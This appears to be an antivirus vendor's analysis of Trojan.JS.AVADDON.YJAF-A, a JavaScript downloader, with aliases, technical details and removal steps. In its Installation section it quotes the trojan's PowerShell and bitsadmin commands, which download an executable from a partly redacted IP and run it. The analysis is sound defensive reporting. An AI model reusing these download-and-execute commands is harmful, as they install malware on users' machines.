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Trojan.JS.AVADDON.YJAF-A

June 18, 2020
 Analysis by: Bren Matthew Ebriega
 ALIASES:

Trojan:Win32/AggBITSAbuse.A (MICROSOFT); PowerShell/TrojanDownloader.Agent.DV trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size:

408 bytes

File Type:

JS

Memory Resident:

No

Initial Samples Received Date:

10 Jun 2020

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • %System%\cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}.{BLOCKED}.117.63/{jpr.exe or sava.exe}','%User Temp%\{random numbers}.exe');Start-Process '%User Temp%\{random numbers}.exe'
  • %System%\cmd.exe /c bitsadmin /transfer getitman /download /priority high http:/{BLOCKED}.{BLOCKED}.117.63/{jpr.exe or sava.exe} %User Temp%\{random numbers}.exe&start %User Temp%\{random numbers}.exe

Download Routine

This Trojan downloads the file from the following URL and renames the file when stored in the affected system:

  • http://{BLOCKED}.{BLOCKED}.117.63/jpr.exe
  • http://{BLOCKED}.{BLOCKED}.117.63/sava.exe

It saves the files it downloads using the following names:

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.924.02

FIRST VSAPI PATTERN DATE:

11 Jun 2020

VSAPI OPR PATTERN File:

15.925.00

VSAPI OPR PATTERN Date:

12 Jun 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.JS.AVADDON.YJAF-A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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